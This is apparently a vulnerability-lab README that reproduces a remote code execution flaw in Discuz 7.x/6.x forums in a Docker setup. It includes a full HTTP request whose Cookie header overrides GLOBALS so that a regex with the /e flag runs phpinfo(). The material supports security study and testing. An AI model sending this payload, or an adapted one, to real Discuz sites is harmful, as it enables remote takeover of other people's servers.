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52 lines
1.8 KiB
Markdown
52 lines
1.8 KiB
Markdown
# Discuz 7.x/6.x Remote Code Execution via Global Variable Override
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[中文版本(Chinese version)](README.zh-cn.md)
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Discuz is a popular forum software widely used in China. A remote code execution vulnerability exists in Discuz 7.x/6.x versions due to insufficient global variable protection.
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In PHP 5.3.x, the default value of `request_order` in php.ini is set to "GP", which means `$_REQUEST` no longer includes `$_COOKIE` by default. This allows attackers to override global variables through cookies by injecting `$GLOBALS`, leading to remote code execution.
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References:
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- <https://www.secpulse.com/archives/2338.html>
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## Environment Setup
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Execute the following command to start Discuz 7.2:
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```
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docker compose up -d
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```
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After starting the container, visit `http://your-ip:8080/install/` to install Discuz. Use the following database settings:
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- Database Host: `db`
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- Database Name: `discuz`
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- Username: `root`
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- Password: `root`
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## Vulnerability Reproduction
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After installation, find an existing post and send a request with the following cookie that contains the payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`:
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```
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GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
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Connection: close
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```
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The `phpinfo()` function will be successfully executed, demonstrating the remote code execution vulnerability:
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> Note: Some articles online claim that a post with an emoji comment is required, but the actual test found that it was not necessary, and the reason still needs to be analyzed from the code.
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